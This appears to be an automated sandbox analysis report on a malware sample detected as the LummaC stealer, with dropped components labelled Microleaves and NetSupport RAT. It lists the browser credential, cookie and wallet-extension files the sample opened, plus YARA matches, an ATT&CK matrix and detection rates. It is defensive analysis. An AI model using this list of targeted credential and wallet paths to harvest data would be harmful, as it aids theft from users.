Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pnlccmojcmeohlpggmfnbbiapkmbliob
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\igkpcodhieompeloncfnbekccinhapdb
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bmikpgodpkclnkgmnpphehdgcimmided
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fdjamakpfbbddfjaooikfcpapjohcfmg
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddffflal
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fpkhgmpbidmiogeglndfbkegfdlnajnf
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\omaabbefbmiijedngplfjmnooppbclkk
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\djclckkglechooblngghdinmeemkbgci
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfogiafebfohielmmehodmfbbebbbpei
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ajgehecfkfhindkhdcjmifbngkfdflla
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP

Source: Yara match	File source: 00000024.00000002.3686040918.000000000563B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1922353491.exe PID: 5896, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 1922353491.exe PID: 5896, type: MEMORYSTR
Source: Yara match	File source: 00000024.00000002.3681239071.0000000000B21000.00000040.00000001.01000000.00000026.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.3305708382.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Source: Yara match	File source: 15.2.wmiprvse.exe.6bfc0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.wmiprvse.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.wmiprvse.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.wmiprvse.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.wmiprvse.exe.6b890000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.wmiprvse.exe.6bfe0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.wmiprvse.exe.6bcd0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.wmiprvse.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.3928353533.00000000111E2000.00000004.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.2909427873.00000000003E2000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3929791609.000000006B8D0000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3910783997.00000000003E2000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: expand.exe PID: 4612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wmiprvse.exe PID: 3160, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a01aa728a4dab42a1a96bd575273048.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a495e6fb1839749b6d15c60fe56a705.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\f30fa2050fab9a4e9730e495e7217769.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\71d2c2c2cbf1584eab33cbbc878fb5cc.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\7521326bf1c7c344a7ca0eb2f78dd396.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\9c66f20de619a94580bb93030dc1aea6.tmp, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
1 Replication Through Removable Media	31 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	1 Replication Through Removable Media	1 Archive Collected Data	Exfiltration Over Other Network Medium	12 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	2 Native API	11 Registry Run Keys / Startup Folder	13 Process Injection	11 Deobfuscate/Decode Files or Information	11 Input Capture	11 Peripheral Device Discovery	Remote Desktop Protocol	21 Data from Local System	Exfiltration Over Bluetooth	21 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	113 Command and Scripting Interpreter	Logon Script (Windows)	11 Registry Run Keys / Startup Folder	3 Obfuscated Files or Information	Security Account Manager	13 File and Directory Discovery	SMB/Windows Admin Shares	11 Input Capture	Automated Exfiltration	11 Non-Standard Port			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	11 Software Packing	NTDS	259 System Information Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	3 Non-Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Query Registry	SSH	Keylogging	Scheduled Transfer	14 Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	891 Security Software Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	35 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	32 Masquerading	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Modify Registry	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	35 Virtualization/Sandbox Evasion	Network Sniffing	2 System Owner/User Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses
Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	13 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Exfiltration Over Unencrypted Non-C2 Protocol	Mail Protocols			Firmware Corruption	Domains	Network Security Appliances

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ZmWSzgevgt.exe	30%	ReversingLabs	Win32.Trojan.OffLoader
ZmWSzgevgt.exe	100%	Avira	TR/Downloader.Gen

Dropped Files

Source	Detection	Scanner	Label
C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\AdvancedWindowsManager.exe	100%	Avira	PUA/Microleaves.A
C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe.part	100%	Avira	TR/Agent.dwpja
413dee.rbf (copy)	0%	ReversingLabs
413df4.rbf (copy)	0%	ReversingLabs
413df9.rbf (copy)	54%	ReversingLabs	Win64.PUA.AdvWinMan
C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\AdvancedWindowsManager.exe	44%	ReversingLabs	Win64.Trojan.Microleaves
C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\Windows Updater.exe	5%	ReversingLabs
C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\decoder.dll	0%	ReversingLabs
C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install\4394A48\AdvancedWindowsManager.exe	54%	ReversingLabs	Win64.PUA.AdvWinMan
C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install\4394A48\Windows Updater.exe	0%	ReversingLabs
C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install\decoder.dll	0%	ReversingLabs
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	54%	ReversingLabs	Win64.PUA.AdvWinMan
C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	0%	ReversingLabs
C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-4TFDP.tmp	0%	ReversingLabs
C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-8305D.tmp	0%	ReversingLabs
C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-K1U5B.tmp	0%	ReversingLabs
C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-SGBP1.tmp	0%	ReversingLabs
C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-SMLRC.tmp	0%	ReversingLabs
C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe.part	27%	ReversingLabs	Win32.Trojan.Microleaves
C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe.part	59%	ReversingLabs	Win32.Trojan.Generic
C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a01aa728a4dab42a1a96bd575273048.tmp	3%	ReversingLabs
C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a495e6fb1839749b6d15c60fe56a705.tmp	6%	ReversingLabs
C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\71d2c2c2cbf1584eab33cbbc878fb5cc.tmp	17%	ReversingLabs
C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\7521326bf1c7c344a7ca0eb2f78dd396.tmp	3%	ReversingLabs
C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\86f0e59c0cab3c4a8a87bee6d0fa0beb.tmp	22%	ReversingLabs	Win32.PUA.Netsupportrat
